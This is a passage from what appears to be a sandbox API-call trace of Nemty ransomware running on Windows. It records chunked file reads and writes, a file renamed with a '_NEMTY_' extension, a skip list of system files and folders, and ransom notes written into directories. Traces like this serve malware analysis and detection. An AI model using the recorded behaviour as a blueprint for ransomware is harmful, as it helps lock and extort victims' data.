lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.309] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.309] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.318] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.324] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.330] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.330] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0133.330] CloseHandle (hObject=0xffffffff) returned 0 [0133.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0133.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0133.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0133.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0133.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0133.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0133.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0133.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0133.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\main_background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\main_background.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\main_background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\main_background.png._nemty_kgobjgd_")) returned 0 [0133.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0133.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0133.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0133.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0133.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0133.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0133.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0133.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.331] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15544d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x15544d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x15544d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0133.331] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0133.331] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0133.331] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0133.331] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0133.331] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0133.331] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0133.331] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0133.332] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0133.332] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0133.332] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0133.332] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0133.332] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0133.332] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0133.332] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0133.332] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0133.332] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0133.332] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0133.332] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0133.332] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0133.332] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0133.332] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0133.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0133.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0133.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0133.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0133.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0133.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0133.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0133.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0133.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0133.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.332] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0133.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340100 [0133.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.333] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15544d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x15544d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x15544d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0133.333] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0133.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0133.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0133.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0133.333] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="js", cAlternateFileName="")) returned 1 [0133.333] lstrcmpiW (lpString1="js", lpString2=".") returned 1 [0133.333] lstrcmpiW (lpString1="js", lpString2="..") returned 1 [0133.333] lstrcmpiW (lpString1="js", lpString2="...") returned 1 [0133.333] lstrcmpiW (lpString1="js", lpString2="windows") returned -1 [0133.333] lstrcmpiW (lpString1="js", lpString2="$RECYCLE.BIN") returned 1 [0133.333] lstrcmpiW (lpString1="js", lpString2="rsa") returned -1 [0133.333] lstrcmpiW (lpString1="js", lpString2="NTDETECT.COM") returned -1 [0133.333] lstrcmpiW (lpString1="js", lpString2="ntldr") returned -1 [0133.333] lstrcmpiW (lpString1="js", lpString2="MSDOS.SYS") returned -1 [0133.333] lstrcmpiW (lpString1="js", lpString2="IO.SYS") returned 1 [0133.333] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0133.333] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0133.333] lstrcmpiW (lpString1="js", lpString2="AUTOEXEC.BAT") returned 1 [0133.333] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1 [0133.333] lstrcmpiW (lpString1="js", lpString2="desktop.ini") returned 1 [0133.333] lstrcmpiW (lpString1="js", lpString2="CONFIG.SYS") returned 1 [0133.333] lstrcmpiW (lpString1="js", lpString2="RECYCLER") returned -1 [0133.333] lstrcmpiW (lpString1="js", lpString2="BOOTSECT.BAK") returned 1 [0133.333] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1 [0133.333] lstrcmpiW (lpString1="js", lpString2="programdata") returned -1 [0133.333] lstrcmpiW (lpString1="js", lpString2="appdata") returned 1 [0133.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0133.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ef10, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0133.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0133.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ef10, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0133.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0133.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0133.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0133.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0133.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0133.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340178 [0133.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0133.334] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0133.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0133.334] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.334] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0133.335] CloseHandle (hObject=0x1ec) returned 1 [0133.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0133.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0133.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0133.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340158 [0133.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0133.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0133.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340288 [0133.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0133.336] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0133.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0133.337] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.337] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0133.340] CloseHandle (hObject=0x1ec) returned 1 [0133.340] HeapFree (in: 